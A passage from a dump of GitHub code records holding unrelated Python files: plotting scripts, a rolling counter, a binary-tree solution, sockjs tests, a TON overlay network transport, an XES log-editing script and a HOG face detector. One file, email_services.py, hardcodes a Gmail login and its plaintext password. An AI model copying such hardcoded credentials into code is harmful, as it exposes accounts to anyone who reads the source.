return labels\n\n buckets = []\n labels = make_labels(values)\n\n for i in range(len(values)):\n counter = 0\n for length_element in length_list:\n if values[i] > length_element > values[i-1]:\n counter += 1\n buckets.append(counter)\n buckets.append(len(length_list) - sum(buckets))\n\n plt.bar([1,2,3,4,5], buckets[1:], tick_label=labels)\n\n plt.xlabel(\"Length in subword units\")\n plt.ylabel(\"Number of samples in dataset\")\n\nif __name__ == '__main__':\n loader = data_handler.Loader()\n loader.load_file(\"scientific_papers_16k.txt\")\n loader.remove_long_examples(6000)\n preprocessor = data_handler.Preprocessor()\n length_merger = preprocessor.record_length(loader.data['train'], sections=['article'])\n\n loader = data_handler.Loader()\n loader.load_file(\"scientific_papers_16k_2.txt\")\n loader.remove_long_examples(6000)\n length_merger += preprocessor.record_length(loader.data['train'], sections=['article'])\n \n bar_graph(length_merger, [0, 1000, 2000, 3000, 4000, 5000])\n plt.savefig(\"barchart_scientific_paper_articles.pdf\")","repo_name":"YannickWehr/Summarizer","sub_path":"graphing.py","file_name":"graphing.py","file_ext":"py","file_size_in_byte":3826,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34195883886","text":"import pygame as pg\n\nfrom .Util import *\n\n\n# Adapted from: https://www.youtube.com/watch?v=3UxnelT9aCo\nclass Tile(pg.sprite.Sprite):\n def __init__(self, game, x, y, colour):\n self.groups = game.all_sprites\n pg.sprite.Sprite.__init__(self, self.groups)\n self.game = game\n self.x = x\n self.y = y\n self.colour = colour\n self.image = pg.Surface((TILESIZE-1, TILESIZE-1))\n self.image.fill(COLOURS[self.colour])\n self.rect = self.image.get_rect()\n self.rect.x = (self.x * TILESIZE)+1\n self.rect.y = (self.y * TILESIZE)+1\n\n def get_x(self):\n return self.x\n\n def get_y(self):\n return self.y\n\n def set_colour(self, colour_index):\n self.image.fill(COLOURS[colour_index])\n self.colour = colour_index\n","repo_name":"yixuy/CMPT371FinalProject","sub_path":"src/GameLogic/Tile.py","file_name":"Tile.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"36449686936","text":"import six\nimport time\nfrom bisect import bisect\nfrom collections import defaultdict\n\n\nclass RollingCounter(object):\n \"\"\"\n The argument to RollingCounter (ttl_secs) indicates how long each event\n should count towards the total for its key, the default is 10 seconds, but\n you may use any float to indicate how long (in seconds) an event should\n stay in the count.\n\n Example:\n\n >>> rc = RollingCounter(ttl_secs=0.5)\n >>> rc.add('foo')\n >>> rc.max()\n 'foo'\n >>> time.sleep(1)\n >>> rc.max()\n None\n >>> rc.keys()\n []\n\n Usage:\n use .add('itemname') to increment a count for some id\n \"\"\"\n def __init__(self, ttl_secs=10):\n self._counts = defaultdict(list)\n if ttl_secs <= 0:\n raise ValueError(\"TTL must be >=0\")\n self._ttl_seconds = ttl_secs\n\n def add(self, id):\n self._counts[id].append(time.time())\n\n def max(self, default=None):\n r = self._rank(reverse=True)\n if len(r):\n return r[0]\n return default\n\n def min(self, default=None):\n r = self._rank(reverse=False)\n if len(r):\n return r[0]\n return default\n\n def ranked(self):\n self._expire()\n return [\n (x[0], len(x[1])) for x in sorted(\n six.iteritems(self._counts),\n key=lambda x: len(x[1])\n )\n ]\n\n def count(self, id):\n self._expire()\n return len(self._counts[id])\n\n def _rank(self, reverse=False):\n self._expire()\n return [\n x[0] for x in sorted(\n six.iteritems(self._counts),\n key=lambda x: len(x[1]),\n reverse=reverse\n )\n ]\n\n def _expire(self):\n # cast key iterable to list because this loop can delete keys\n for k in list(six.iterkeys(self._counts)):\n # find the location where all times are less than (current - ttl)\n # and delete all lesser elements\n del self._counts[k][\n :bisect(self._counts[k], time.time() - self._ttl_seconds)\n ]\n if len(self._counts[k]) == 0:\n self.remove(k)\n\n def remove(self, id):\n del self._counts[id]\n\n def keys(self):\n self._expire()\n return list(six.iterkeys(self._counts))\n","repo_name":"ryansb/disq","sub_path":"disq/rolling_counter.py","file_name":"rolling_counter.py","file_ext":"py","file_size_in_byte":2341,"program_lang":"python","lang":"en","doc_type":"code","stars":53,"dataset":"github-code","pt":"54"} +{"seq_id":"16546866586","text":"import matplotlib.pyplot as plt\n\ndef is_number(s):\n try:\n float(s)\n return True\n except ValueError:\n return False\n\n\n\nteles=eval(open('file_teles_stract.txt').read())\n\n\ncates=[]\nx=[]\ny=[]\n\nfor i in teles.items():\n\tfor j in i[1][0]:\n\t\tcates.append(j[0])\n\nnew_cates=[]\nfor i in cates:\n\ttemp=\"\"\n\t\n\tfor j in list(reversed(range(len(i)))):\n\t\t\n\t\tif is_number(i[j])==True:\n\t\t\ttemp=i[:len(temp)-1]\n\t\telse:\n\t\t\tnew_cates.append(temp)\n\t\t\t\n\t\t\tbreak\n\nfrom nltk.probability import FreqDist\n\nsixn=FreqDist(new_cates)\n\nfor i in range(len( sixn.items() )):\n\tx.append(i)\n\nfor i in sixn.items():\n\ty.append(i[1])\n\n\n#plt.figure(1, figsize=(18,18), dpi=100)\nlabels = (sixn.keys()[:10])\nfracts = y[:10]\n\nplt.pie(fracts, explode=None, labels=labels,\n autopct='%1.2f%%')\nplt.show()\n","repo_name":"fandomas/crawling-bazar","sub_path":"process-data.py","file_name":"process-data.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15562907620","text":"'''\nPROBLEM STATEMENT: Construct binary tree\n\nInorder traversal - Process all nodes of a binary tree by recursively processing the left subtree, then processing the root, and finally the right subtree.\n\nPreorder traversal - Process all nodes of a binary tree by recursively processing the root, then processing the left subtree, and finally the right subtree.\n\nGiven the inorder and preorder traversal of a valid binary tree, you have to construct the binary tree.\n\n[Interesting article to read: http://www.geeksforgeeks.org/if-you-are-given-two-traversal-sequences-can-you-construct-the-binary-tree/]\n\nInput Format:\n-------------\nYou are given two integer array named inorder and preorder of size n, containing positive values <= 10^5\n\nOutput Format:\n--------------\nReturn root pointer of the constructed binary tree.\n\nConstraints:\n-----------\n0 <= n <= 10^5\n1 <= inorder[i], preorder[i] <= 10^5\nValues stored in the binary tree are unique.\n\nSample Test Cases:\n------------------\n\nSample Test Case 1:\n\nSample Input 1:\ninorder = [2, 1, 3] and preorder = [1, 2, 3]\n\nSample Output 1:\n 1\n/ \\\n2 3\n\nExplanation 1:\n\nIn this case, Binary tree will be look like as given above.\n\nReturn the pointer of root node of constructed binary tree. In this case root treenode has value '1'.\n\nSample Test Case 2:\n\nSample Input 2:\ninorder = [3, 2, 1, 5, 4, 6] and preorder = [1, 2, 3, 4, 5, 6]\n\nSample Output 2:\n 1\n / \\\n 2 4\n / / \\\n3 5 6\n\n'''\n\n# The function accepts INTEGER_ARRAY inorder and preorder as parameter and returns Root pointer of constructed binary tree.\n# class TreeNode:\n# def __init__(self, x):\n# self.value = x\n# self.left = None\n# self.right = None\n#\n\ndef constructBinaryTree(inorder, preorder):\n inorder_index = {}\n for i in range(len(inorder)):\n inorder_index[inorder[i]] = i\n return dfs(inorder, preorder, [0], 0, len(inorder)-1, inorder_index)\n \ndef dfs(inorder, preorder, preorder_index, inorder_start, inorder_end, inorder_index):\n if inorder_start > inorder_end:\n return\n if preorder_index[0] >= len(preorder):\n return\n \n found_index = inorder_index[preorder[preorder_index[0]]]\n \n \n root = TreeNode(preorder[preorder_index[0]])\n preorder_index[0] +=1\n root.left = dfs(inorder, preorder, preorder_index, inorder_start, found_index-1, inorder_index)\n root.right = dfs(inorder, preorder, preorder_index, found_index+1, inorder_end, inorder_index)\n \n return root\n\n'''\n\nsys.setrecursionlimit(50000000)\ndef constructBinaryTree(inorder, preorder):\n # Write your code here\n \n # to help make it more efficient\n inorder_index = {}\n for i in range(len(inorder)):\n inorder_index[inorder[i]] = i\n return dfs(inorder, preorder, [0], 0, len(inorder)-1, inorder_index)\n \ndef dfs(inorder, preorder, preorder_index, inorder_start, inorder_end, inorder_index):\n if inorder_start > inorder_end:\n return\n if preorder_index[0] >= len(preorder):\n return\n \n found_index = inorder_index[preorder[preorder_index[0]]]\n \n \n root = TreeNode(preorder[preorder_index[0]])\n preorder_index[0] +=1\n root.left = dfs(inorder, preorder, preorder_index, inorder_start, found_index-1, inorder_index)\n root.right = dfs(inorder, preorder, preorder_index, found_index+1, inorder_end, inorder_index)\n \n return root\n'''\n","repo_name":"chumkiroy/Problems","sub_path":"trees/construct_binary_tree.py","file_name":"construct_binary_tree.py","file_ext":"py","file_size_in_byte":3362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"28182854257","text":"from sys import stdin\n\ninput = stdin.readline\n\nn = int(input())\nboard = [0]*1001\n\nmax_h = 0\nfor _ in range(n):\n l,h = map(int, input().split())\n board[l] = h\n max_h = max(max_h,h)\ndef solv():\n set_board()\n std = board.index(max_h)\n answer = calc_size(0,std,1) + calc_size(len(board)-1,std,-1) + max_h\n\n print(answer)\ndef calc_size(start, end, op):\n total = 0\n cnt = 0\n target = board[start]\n for idx in range(start,end,op):\n h = board[idx]\n if target >= h:\n cnt += 1\n elif target < h:\n total += cnt*target\n target = h\n cnt = 1\n total += cnt * target\n return total\ndef set_board():\n global board\n\n for idx in range(1, 1001):\n if board[idx] != 0:\n board = board[idx:]\n break\n\n for idx in range(len(board)-1, -1, -1):\n if board[idx] != 0:\n board = board[:idx+1]\n break\n\nif n == 1:\n print(max_h)\nelse:\n solv()","repo_name":"alsgh9948/Problem-Solving","sub_path":"baekjoon/2304.py","file_name":"2304.py","file_ext":"py","file_size_in_byte":982,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"46401444221","text":"import smtplib, ssl\ncontext = ssl.create_default_context()\nserver = smtplib.SMTP(\"smtp.gmail.com\", 587)\nserver.ehlo()\nserver.starttls(context=context)\nserver.ehlo()\n# Test credentials\nserver.login(\"testcasesg@gmail.com\", \"123456789Ou*\")\n\n\ndef send_email(subject, email_text, receiver):\n \"\"\"\n Function that sends an email given a provided recipient and text\n :param email_text: the message to be sent to the user\n :param receiver: the email of the recipient\n :return: True when done\n \"\"\"\n text = f\"Subject:{subject}\\n\\n{email_text}\"\n server.sendmail(\"testcasesg@gmail.com\", receiver, text)\n print(\"sending an email with text : \", email_text, \"to: \", receiver)\n return True\n","repo_name":"robotevan/3010_IO_SPACE","sub_path":"TeamProject/flask-backend/email_services.py","file_name":"email_services.py","file_ext":"py","file_size_in_byte":703,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"54"} +{"seq_id":"72312572640","text":"from unittest import mock\n\nfrom sockjs.transports import jsonp\n\nfrom test_base import BaseSockjsTestCase\n\n\nclass JSONPollingTransportTests(BaseSockjsTestCase):\n\n TRANSPORT_CLASS = jsonp.JSONPolling\n\n def test_streaming_send(self):\n trans = self.make_transport()\n trans.callback = 'cb'\n\n resp = trans.response = mock.Mock()\n stop = trans.send('text data')\n resp.write.assert_called_with(b'/**/cb(\"text data\");\\r\\n')\n self.assertTrue(stop)\n\n def test_process(self):\n transp = self.make_transport(query_params={'c': 'calback'})\n transp.handle_session = self.make_fut(1)\n resp = self.loop.run_until_complete(transp.process())\n self.assertTrue(transp.handle_session.called)\n self.assertEqual(resp.status, 200)\n\n def test_process_no_callback(self):\n transp = self.make_transport()\n\n resp = self.loop.run_until_complete(transp.process())\n self.assertTrue(transp.session._remote_closed.called)\n self.assertEqual(resp.status, 500)\n\n def test_process_bad_callback(self):\n transp = self.make_transport(query_params={'c': 'calback!!!!'})\n\n resp = self.loop.run_until_complete(transp.process())\n self.assertTrue(transp.session._remote_closed.called)\n self.assertEqual(resp.status, 400)\n\n def test_process_not_supported(self):\n transp = self.make_transport(method='PUT')\n resp = self.loop.run_until_complete(transp.process())\n self.assertEqual(resp.status, 400)\n\n def test_process_bad_encoding(self):\n transp = self.make_transport(method='POST')\n transp.request.read = self.make_fut(b'test')\n transp.request.content_type\n transp.request._content_type = 'application/x-www-form-urlencoded'\n resp = self.loop.run_until_complete(transp.process())\n self.assertEqual(resp.status, 500)\n\n def test_process_no_payload(self):\n transp = self.make_transport(method='POST')\n transp.request.read = self.make_fut(b'd=')\n transp.request.content_type\n transp.request._content_type = 'application/x-www-form-urlencoded'\n resp = self.loop.run_until_complete(transp.process())\n self.assertEqual(resp.status, 500)\n\n def test_process_bad_json(self):\n transp = self.make_transport(method='POST')\n transp.request.read = self.make_fut(b'{]')\n resp = self.loop.run_until_complete(transp.process())\n self.assertEqual(resp.status, 500)\n\n def test_process_message(self):\n transp = self.make_transport(method='POST')\n transp.session._remote_messages = self.make_fut(1)\n transp.request.read = self.make_fut(b'[\"msg1\",\"msg2\"]')\n resp = self.loop.run_until_complete(transp.process())\n self.assertEqual(resp.status, 200)\n transp.session._remote_messages.assert_called_with(['msg1', 'msg2'])\n","repo_name":"trb116/pythonanalyzer","sub_path":"data/input/aio-libs/sockjs/tests/test_transport_jsonp.py","file_name":"test_transport_jsonp.py","file_ext":"py","file_size_in_byte":2882,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"29443347909","text":"import asyncio\nimport random\nimport time\nimport hashlib\nimport typing\n\nfrom pytoniq_core.tl.generator import TlGenerator\n\nfrom pytoniq_core import BlockIdExt, Block, Slice\nfrom pytoniq_core.crypto.ciphers import get_random\n\nfrom .adnl import Node, AdnlTransport, AdnlTransportError\n\n\nclass OverlayTransportError(AdnlTransportError):\n pass\n\n\nclass OverlayNode(Node):\n\n def __init__(\n self,\n peer_host: str, # ipv4 host\n peer_port: int, # port\n peer_pub_key: str,\n transport: \"OverlayTransport\"\n ):\n self.transport: \"OverlayTransport\" = None\n super().__init__(peer_host, peer_port, peer_pub_key, transport)\n\n async def send_ping(self) -> None:\n peers = [\n self.transport.get_signed_myself()\n ]\n await self.transport.send_query_message('overlay.getRandomPeers', {'peers': {'nodes': peers}}, peer=self)\n\n\nclass OverlayTransport(AdnlTransport):\n\n def __init__(self,\n private_key: bytes = None,\n tl_schemas_path: str = None,\n local_address: tuple = ('0.0.0.0', None),\n overlay_id: typing.Union[str, bytes] = None,\n *args, **kwargs\n ) -> None:\n\n super().__init__(private_key, tl_schemas_path, local_address, *args, **kwargs)\n if overlay_id is None:\n raise OverlayTransportError('must provide overlay id in OverlayTransport')\n\n if isinstance(overlay_id, bytes):\n overlay_id = overlay_id.hex()\n\n self.overlay_id = overlay_id\n\n @staticmethod\n def get_overlay_id(zero_state_file_hash: typing.Union[bytes, str],\n workchain: int = 0, shard: int = -9223372036854775808) -> str:\n\n if isinstance(zero_state_file_hash, bytes):\n zero_state_file_hash = zero_state_file_hash.hex()\n\n schemes = TlGenerator.with_default_schemas().generate()\n\n sch = schemes.get_by_name('tonNode.shardPublicOverlayId')\n data = {\n \"workchain\": workchain,\n \"shard\": shard,\n \"zero_state_file_hash\": zero_state_file_hash\n }\n\n key_id = hashlib.sha256(schemes.serialize(sch, data)).digest()\n\n sch = schemes.get_by_name('pub.overlay')\n data = {\n 'name': key_id\n }\n\n key_id = schemes.serialize(sch, data)\n\n return hashlib.sha256(key_id).digest().hex()\n\n @classmethod\n def get_mainnet_overlay_id(cls, workchain: int = 0, shard: int = -9223372036854775808) -> str:\n return cls.get_overlay_id('5e994fcf4d425c0a6ce6a792594b7173205f740a39cd56f537defd28b48a0f6e', workchain, shard)\n\n @classmethod\n def get_testnet_overlay_id(cls, workchain: int = 0, shard: int = -9223372036854775808) -> str:\n return cls.get_overlay_id('67e20ac184b9e039a62667acc3f9c00f90f359a76738233379efa47604980ce8', workchain, shard)\n\n async def _process_query_message(self, message: dict, peer: OverlayNode):\n query = message.get('query')\n if isinstance(query, list):\n if query[0]['@type'] == 'overlay.query':\n assert query[0]['overlay'] == self.overlay_id, 'Unknown overlay id received'\n query = query[-1]\n await self._process_query_handler(message, query, peer)\n\n async def _process_custom_message(self, message: dict, peer: Node):\n data = message.get('data')\n if isinstance(data, list):\n if data[0]['@type'] in ('overlay.query', 'overlay.message'):\n assert data[0]['overlay'] == self.overlay_id, 'Unknown overlay id received'\n data = data[-1]\n if data['@type'] == 'overlay.broadcast':\n # Force broadcast spreading for the network stability. Can be removed in the future.\n # Note that this is almost takes no time to do and will be done in the background.\n asyncio.create_task(self.spread_broadcast(data, ignore_errors=True))\n\n await self._process_custom_message_handler(data, peer)\n\n async def spread_broadcast(self, message: dict, ignore_errors: bool = True):\n tasks = []\n peers = random.choices(list(self.peers.items()), k=3) # https://github.com/ton-blockchain/ton/blob/e30049930a7372a3c1d28a1e59956af8eb489439/overlay/overlay-broadcast.cpp#L69\n for _, peer in peers:\n tasks.append(self.send_custom_message(message, peer))\n result = await asyncio.gather(*tasks, return_exceptions=ignore_errors)\n failed = 0\n for r in result:\n if isinstance(r, Exception):\n failed += 1\n self.logger.debug(f'Spread broadcast: {failed} failed out of {len(result)}')\n\n def get_signed_myself(self):\n ts = int(time.time())\n\n overlay_node_data = {'id': {'@type': 'pub.ed25519', 'key': self.client.ed25519_public.encode().hex()},\n 'overlay': self.overlay_id, 'version': ts, 'signature': b''}\n\n overlay_node_to_sign = self.schemas.serialize(self.schemas.get_by_name('overlay.node.toSign'),\n {'id': {'id': self.client.get_key_id().hex()},\n 'overlay': self.overlay_id,\n 'version': overlay_node_data['version']})\n signature = self.client.sign(overlay_node_to_sign)\n\n overlay_node = overlay_node_data | {'signature': signature}\n return overlay_node\n\n async def send_query_message(self, tl_schema_name: str, data: dict, peer: Node) -> typing.List[typing.Union[dict, bytes]]:\n \"\"\"\n :param tl_schema_name:\n :param data:\n :param peer:\n :return: dict if response was known TL schema, bytes otherwise\n \"\"\"\n\n message = {\n '@type': 'adnl.message.query',\n 'query_id': get_random(32),\n 'query': self.schemas.serialize(self.schemas.get_by_name('overlay.query'), data={'overlay': self.overlay_id})\n + self.schemas.serialize(self.schemas.get_by_name(tl_schema_name), data)\n }\n data = {\n 'message': message,\n }\n\n result = await self.send_message_in_channel(data, None, peer)\n return result\n\n async def send_custom_message(self, message: typing.Union[dict, bytes], peer: Node) -> list:\n\n custom_message = {\n '@type': 'adnl.message.custom',\n 'data': (self.schemas.serialize(self.schemas.get_by_name('overlay.message'), data={'overlay': self.overlay_id}) +\n self.schemas.serialize(self.schemas.get_by_name(message['@type']), message))\n }\n\n data = {\n 'message': custom_message,\n }\n\n result = await self.send_message_in_channel(data, None, peer)\n return result\n\n def get_message_with_overlay_prefix(self, schema_name: str, data: dict) -> bytes:\n return (self.schemas.serialize(\n schema=self.schemas.get_by_name('overlay.query'),\n data={'overlay': self.overlay_id})\n + self.schemas.serialize(\n schema=self.schemas.get_by_name(schema_name),\n data=data)\n )\n\n def _get_default_message(self):\n peers = [\n self.get_signed_myself()\n ]\n return {\n '@type': 'adnl.message.query',\n 'query_id': get_random(32),\n 'query': self.get_message_with_overlay_prefix('overlay.getRandomPeers', {'peers': {'nodes': peers}})\n }\n\n async def get_random_peers(self, peer: OverlayNode):\n overlay_node = self.get_signed_myself()\n\n peers = [\n overlay_node\n ]\n return await self.send_query_message(tl_schema_name='overlay.getRandomPeers', data={'peers': {'nodes': peers}},\n peer=peer)\n\n async def get_capabilities(self, peer: OverlayNode):\n return await self.send_query_message(tl_schema_name='tonNode.getCapabilities', data={}, peer=peer)\n\n async def raw_download_block(self, block: BlockIdExt, peer: OverlayNode) -> bytes:\n \"\"\"\n :param block:\n :param peer:\n :return: block boc\n \"\"\"\n return (await self.send_query_message(tl_schema_name='tonNode.downloadBlock',\n data={'block': block.to_dict()}, peer=peer))[0]\n\n async def download_block(self, block: BlockIdExt, peer: OverlayNode) -> Block:\n \"\"\"\n :param block:\n :param peer:\n :return: deserialized block\n \"\"\"\n blk_boc = await self.raw_download_block(block, peer)\n return Block.deserialize(Slice.one_from_boc(blk_boc))\n\n async def prepare_block(self, block: BlockIdExt, peer: OverlayNode) -> dict:\n return (await self.send_query_message(tl_schema_name='tonNode.prepareBlock',\n data={'block': block.to_dict()}, peer=peer))[0]\n","repo_name":"yungwine/pytoniq","sub_path":"pytoniq/adnl/overlay.py","file_name":"overlay.py","file_ext":"py","file_size_in_byte":8990,"program_lang":"python","lang":"en","doc_type":"code","stars":18,"dataset":"github-code","pt":"54"} +{"seq_id":"18192705421","text":"import sys\nimport os\nimport subprocess\nimport configparser as cp\nimport os.path\nimport xml.etree.ElementTree as ET\nimport copy\nfrom shutil import copyfile\nimport time\nimport datetime\n# from sweeper import add_event_id_to_log_events\n\nmodel_input = \"./PurchasingExample_Processed_Input_ForPercentage.xes\"\nmodel_output = \"./PurchasingExample_Processed_Output_ForPercentage.xes\"\n\npercent = 0.05\n\ndict = {\n # 'trace14': {\n # 'res1': [(1, 10, 'a'), (5, 20, 'b'), (3, 15, 'c')]\n # }\n}\n\ndef main():\n copy_file_name = './InputCopy.xes'\n copyfile(model_input, copy_file_name)\n ET.register_namespace('', \"http://www.xes-standard.org\")\n\n ns1 = {\n 'xes': \"http://www.xes-standard.org\",\n 'time': \"http://www.xes-standard.org/time.xesext\"\n }\n \n tree = ET.parse(copy_file_name)\n root = tree.getroot()\n\n traces = root.findall(\"{http://www.xes-standard.org}trace\", ns1)\n print(\"traces number = \", len(traces))\n\n for trace in traces:\n # if(trace_name.attrib['value'] not in dict):\n # dict[trace_name.attrib['value']] = {}\n events = trace.findall(\"./{http://www.xes-standard.org}event\", ns1)\n\n for event in events:\n for d in event:\n if(d.attrib[\"key\"] == \"org:resource\"):\n if(d.attrib['value'] not in dict):\n dict[d.attrib['value']] = []\n\n # we assume that event has two dates, first is normal start\n # second is EventEndTime that we add using function add_event_id_to_log_events\n dates = event.findall(\"./{http://www.xes-standard.org}date\", ns1)\n if(len(dates) > 1):\n start = dates[0].attrib['value']\n dat_start = datetime.datetime.strptime(start, \"%Y-%m-%dT%H:%M:%S.%f\")\n start_ms = int(round(dat_start.timestamp() * 1000))\n\n end = dates[1].attrib['value']\n dat_end = datetime.datetime.strptime(end, \"%Y-%m-%dT%H:%M:%S.%f\")\n end_ms = int(round(dat_end.timestamp() * 1000))\n\n event_id = next(x.attrib['value'] for x in event.getchildren() if x.attrib['key'] == 'EventID')\n task_id = next(x.attrib['value'] for x in event.getchildren() if x.attrib['key'] == 'concept:name')\n\n # add the event corresponding to the resource \n dict[d.attrib[\"value\"]].append([start_ms, end_ms, task_id, event_id])\n\n removed_instant_events = 0\n for res in dict:\n for ev in reversed(dict[res]):\n if(ev[0] == ev[1]):\n dict[res].remove(ev)\n removed_instant_events += 1\n\n # TODO: sort\n\n pairs = []\n visited = []\n for res in dict:\n i = 0\n \n for ev in dict[res]:\n if(ev[3] not in visited):\n for ev2 in dict[res][i:]:\n if(ev2[0] == ev[1]):\n visited.append(ev2[3])\n visited.append(ev[3])\n pairs.append((ev, ev2))\n break\n i += 1\n\n for p in pairs:\n total_time = (p[0][1] - p[0][0]) + (p[1][1] - p[1][0])\n movement_part = int(total_time * percent)\n p[0][0] += movement_part\n p[0][1] += movement_part\n\n print(len(pairs))\n\n # processed_times = 0\n\n for resource in dict:\n print(\"Current resource = \", resource)\n\n for trace in traces:\n events = trace.findall(\"./{http://www.xes-standard.org}event\", ns1)\n\n for event in events:\n eventid = None\n endmark = False\n event_resource = event.find(\"./{http://www.xes-standard.org}string[@key='org:resource']\")\n\n if(event_resource != None and event_resource.attrib[\"value\"] == resource):\n for d in event:\n if(d.attrib[\"key\"] == \"EventID\"):\n eventid = d.attrib['value']\n if(d.attrib[\"key\"] == \"EventEndTime\"):\n endmark = True\n\n filtered = list(filter(lambda x: x[0][3] == eventid, pairs))\n if(len(filtered) > 0):\n for d in event:\n if(d.attrib[\"key\"] == \"time:timestamp\"):\n stamp = None\n # we actually have an endmark on the start event\n # which refers to the corresponding end event\n if(endmark == True):\n stamp = int(filtered[0][0][0]/1000.0)\n else:\n stamp = int(filtered[0][0][1]/1000.0)\n dtd = datetime.datetime.fromtimestamp(stamp)\n upd = dtd.strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n d.attrib['value'] = upd\n # processed_times += 1\n if(d.attrib[\"key\"] == \"EventEndTime\"):\n stamp = int(filtered[0][0][1]/1000.0)\n dtd = datetime.datetime.fromtimestamp(stamp)\n upd = dtd.strftime(\"%Y-%m-%dT%H:%M:%S.%f\")\n d.attrib['value'] = upd\n break\n\n tree.write(open(model_output, 'wb'), \"UTF-8\", True)\n os.remove(copy_file_name)\n\nif __name__ == \"__main__\":\n main()\n # add_event_id_to_log_events(file_to_read=\"InsuranceScenarioD_resources.xes\", file_to_write=\"InsuranceScenarioD_resources_Processed_Input.xes\")\n","repo_name":"Adartse/SIMOD-Multitasking","sub_path":"mt_scripts/02-percentage.py","file_name":"02-percentage.py","file_ext":"py","file_size_in_byte":5762,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11603402409","text":"#Desafio 11. Faça um programa que leia a largura e a altura de uma parede\n#em metros, calcule a sua área e a quantidade de tinta necessária para\n#pintá-la, sabendo que cada litro de tinta, pinta uma área de 2m²\n\ncores = {'limpar':'\\033[m',\n 'azul':'\\033[36m',\n 'vermelho':'\\033[31m',\n 'cinza':'\\033[37m'}\n\nl = float(input('Digite a largura da parede em metros: '))\na = float(input('Digite a altura dela: '))\narea = l*a\nprint(cores['cinza'],'A área da parede é',area,\"M\\ne a quatidade de tinta para pintá-la é:\",round(area/2),\" litros\",cores['limpar'])\n","repo_name":"CrisCaxile/Python","sub_path":"Python 2023/Desafios CursoEmVideoPython/Desafio 11.py","file_name":"Desafio 11.py","file_ext":"py","file_size_in_byte":586,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"7869287046","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom skimage.feature import hog\nfrom skimage import data, exposure\nimport cv2\nimport warnings\nfrom skimage import transform, color\nwarnings.filterwarnings(\"ignore\")\n\n\nprint(\"Getting Positive Set Data \")\n# Positive set of labelled people in the wild\nfrom sklearn.datasets import fetch_lfw_people\nfaces = fetch_lfw_people(min_faces_per_person=120, resize=0.4)\npositive_patches = faces.images # 13233 face images to use for training\nprint(\"Positive Set Done\")\n\n\nprint(\"Making Negative Set data\")\n# Negative set\nfrom skimage import transform, color\n\nimgs_to_use = ['hubble_deep_field', 'text', 'coins', 'moon',\n 'page', 'clock','coffee','chelsea','horse']\nimages = [color.rgb2gray(getattr(data, name)())\n for name in imgs_to_use]\n\n# To make up the negative set we extract patches from images shipped\n# with Scikit-Image at various scales\nfrom sklearn.feature_extraction.image import PatchExtractor\n\ndef extract_patches(img, N, scale=1.0, patch_size=positive_patches[0].shape):\n extracted_patch_size = tuple((scale * np.array(patch_size)).astype(int))\n extractor = PatchExtractor(patch_size=extracted_patch_size,\n max_patches=N, random_state=0)\n patches = extractor.transform(img[np.newaxis])\n if scale != 1:\n patches = np.array([transform.resize(patch, patch_size)\n for patch in patches])\n return patches\n\nnegative_patches = np.vstack([extract_patches(im, 1000, scale)\n for im in images for scale in [0.5, 1.0, 2.0]])\n# 27000 images for negative set\nprint(\"Negative Set Done\")\n\n\n\n\nprint(\"Combining the positive and negative set and extracting hog features\")\n# Combine positive and negative sets and extract hog features\nfrom skimage import feature # To use skimage.feature.hog()\nfrom itertools import chain\n\nX_train = np.array([feature.hog(im)\n for im in chain(positive_patches,\n negative_patches)])\ny_train = np.zeros(X_train.shape[0])\ny_train[:positive_patches.shape[0]] = 1\n\n\n\n\nprint(\"Training SVM classifier\")\n# Training a SVM classifier.\n# We do gridsearch over some choices of SVM's C parameter to get best result\nfrom sklearn.svm import LinearSVC\nfrom sklearn.model_selection import GridSearchCV\n\ngrid = GridSearchCV(LinearSVC(dual=False), {'C': [1.0, 2.0, 4.0, 8.0]},cv=3)\ngrid.fit(X_train, y_train)\n# grid.best_score_ to see the score\nprint(\"Best training score : \",grid.best_score_)\n\nprint(\"Training the best estimator on full dataset\")\n# Taking the best estimator and train it on full dataset\nmodel = grid.best_estimator_\nmodel.fit(X_train, y_train)\n\n\n\nprint(\"Testing on a New Image\")\n# Detect Faces in a New Image\ntest_img = cv2.imread('/Users/aldo/Desktop/git-romi/sky_crop/mask_rcnn/examples/sc.jpg')\ntest_img = color.rgb2gray(test_img)\ntest_img = transform.rescale(test_img, 0.5)\ntest_img = test_img[0:180, 100:260]\n\n# Plotting image\nplt.imshow(test_img, cmap='gray')\nplt.axis('off')\n\n\n\n# Sliding Window function - Goes Over the image patch by patch\n# and computes the HOG features for each patch.\ndef sliding_window(img, patch_size=positive_patches[0].shape,\n istep=1, jstep=1, scale=1.0):\n Ni, Nj = (int(scale * s) for s in patch_size)\n for i in range(0, img.shape[0] - Ni, istep):\n for j in range(0, img.shape[1] - Ni, jstep):\n patch = img[i:i + Ni, j:j + Nj]\n if scale != 1:\n patch = transform.resize(patch, patch_size)\n yield (i, j), patch\n\n\nprint(\"Extracting features from test image......\")\n# Apply sliding window function to test_img\nindices, patches = zip(*sliding_window(test_img))\npatches_hog = np.array([feature.hog(patch) for patch in patches])\n\n\nprint(\"Using model to evaluate if the patches contain a face or not\")\n# Use the model to evaluate if HOG patches of the image\n# contains a face\nlabels = model.predict(patches_hog)\n# labels.sum() for number of face detections from all the patches in the image\n\n\nprint(\"Visualizing the result\")\n# Visualize the detections\nfig, ax = plt.subplots()\nax.imshow(test_img, cmap='gray')\nax.axis('off')\n\nNi, Nj = positive_patches[0].shape\nindices = np.array(indices)\n\nfor i, j in indices[labels == 1]:\n ax.add_patch(plt.Rectangle((j, i), Nj, Ni, edgecolor='red',\n alpha=0.3, lw=5, 